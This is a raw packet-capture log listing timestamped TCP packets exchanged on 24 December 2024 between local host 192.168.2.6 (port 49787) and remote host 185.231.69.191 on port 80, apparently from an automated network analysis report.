Dec 24, 2024 14:02:32.154020071 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.154123068 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.161937952 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.161963940 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.162022114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.170087099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.170164108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.170217037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.170267105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.178395033 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.178447008 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.178467989 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.178503990 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.186553001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.186722994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.186813116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.194736958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.194799900 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.194871902 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.194919109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.201713085 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.201776028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.201812029 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.201864958 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.208709955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.208767891 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.208823919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.208930016 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.317713976 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.317756891 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.317954063 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.319540024 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.319602013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.320465088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.320517063 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.320568085 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.325423956 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.325563908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.325630903 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.330398083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.330456018 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.330460072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.330501080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.335423946 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.335480928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.335556984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.335611105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.340085983 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.340138912 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.340178967 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.340240002 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.344563961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.344624043 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.344657898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.344711065 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.349246979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.349307060 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.349355936 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.349410057 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.353636026 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.353688002 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.353782892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.353830099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.358228922 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.358278036 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.358511925 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.358562946 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.362692118 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.362742901 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.362761021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.362909079 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.367357969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.367377043 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.367408991 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.367424965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.372967005 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.372983932 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.373019934 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.373045921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.376799107 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.376856089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.376903057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.377002001 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.380839109 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.380892992 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.380955935 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.381063938 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.385400057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.385452032 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.385453939 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.385503054 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.389967918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.390021086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.390079021 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.390191078 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.394408941 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.394465923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.394469023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.394521952 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.398983955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.399039030 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.399105072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.399152040 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.403476954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.403528929 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.403572083 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.403625011 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.407989979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.408126116 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.408140898 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.408190012 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.412763119 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.412908077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.412950993 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.412966967 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.417079926 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.417140961 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.417200089 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.417253017 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.421641111 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.421706915 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.514801979 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.514951944 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.514997959 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.515137911 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.515827894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.515885115 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.515945911 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.515996933 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.519351959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.519402981 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.519419909 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.519469976 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.522876978 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.522929907 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.522932053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.522984028 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.526354074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.526405096 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.526616096 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.526664972 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.529828072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.529876947 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.530111074 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.530157089 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.533385038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.533443928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.533606052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.533653021 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.536556959 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.536604881 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.536669970 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.536717892 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.539736986 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.539792061 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.539833069 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.539882898 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.543160915 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.543178082 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.543211937 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.543226004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.546262980 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.546314955 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.546348095 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.546399117 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.551146030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.551162958 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.551196098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.551213026 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.552755117 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.552800894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.552943945 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.552992105 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.555560112 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.555574894 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.555607080 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.555622101 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.558770895 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.558823109 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.558921099 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.558964968 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.561629057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.561676979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.561697960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.561742067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.564729929 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.564778090 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.564809084 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.564857960 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.568236113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.568252087 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.568284988 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.568300009 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.571036100 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.571053028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.571093082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.571093082 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.574290037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.574341059 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.574526072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.574572086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.577136993 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.577184916 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.577244997 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.577291965 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.580430984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.580480099 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.580482960 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.580529928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.583364964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.583415985 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.583508015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.583554983 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.586452961 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.586500883 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.586536884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.586584091 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.589607000 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.589648962 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.589659929 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.589690924 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.592693090 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.592747927 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.592797995 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.592992067 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.595798969 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.595848083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.595865011 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.595910072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.598913908 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.598962069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.599001884 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.599057913 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.601953030 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.602001905 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.602034092 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.602096081 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.605103016 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.605149984 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.605232954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.605283022 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.608211994 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.608261108 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.608375072 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.608421087 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.611263990 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.611318111 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.611402988 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.611449957 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.614559889 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.614624023 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.614873886 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.614921093 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.617608070 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.617659092 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.617835999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.617882013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.620758057 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.620806932 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.620951891 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.620999098 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.623677015 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.623727083 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.623766899 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.623814106 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.626811028 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.626941919 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.626993895 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.629914999 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.629968882 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.630017996 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.630059004 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.633006096 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.633055925 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.633115053 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.633160114 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.636213064 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.636264086 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.636395931 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.636444092 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.639303923 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.639354944 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.639426947 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.639503002 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.706840038 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.706895113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.707041025 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.707577944 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.707595110 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.707637072 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.707664013 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.709865093 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.709970951 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.709978104 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.710031986 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.712388039 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.712441921 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.712594032 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.712640047 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.714643955 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.714694977 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.714818954 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.714868069 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.717036963 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.717082024 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.717237949 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.717284918 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.719769001 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.719816923 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.719847918 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.719899893 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.721689939 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.721775055 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.721841097 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.724214077 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.724348068 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.724416018 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.726147890 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.726200104 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.726367950 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.726435900 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.728295088 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.728413105 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.728445053 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.728460073 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.730631113 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.730748892 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.730797052 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.732656002 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.732763052 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.732811928 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.734790087 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.734834909 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.734874964 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.734920979 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.737071037 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.737087965 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.737140894 CET	49787	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:32.739032984 CET	80	49787	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:32.739113092 CET	49787	80	192.168.2.6	185.231.69.191
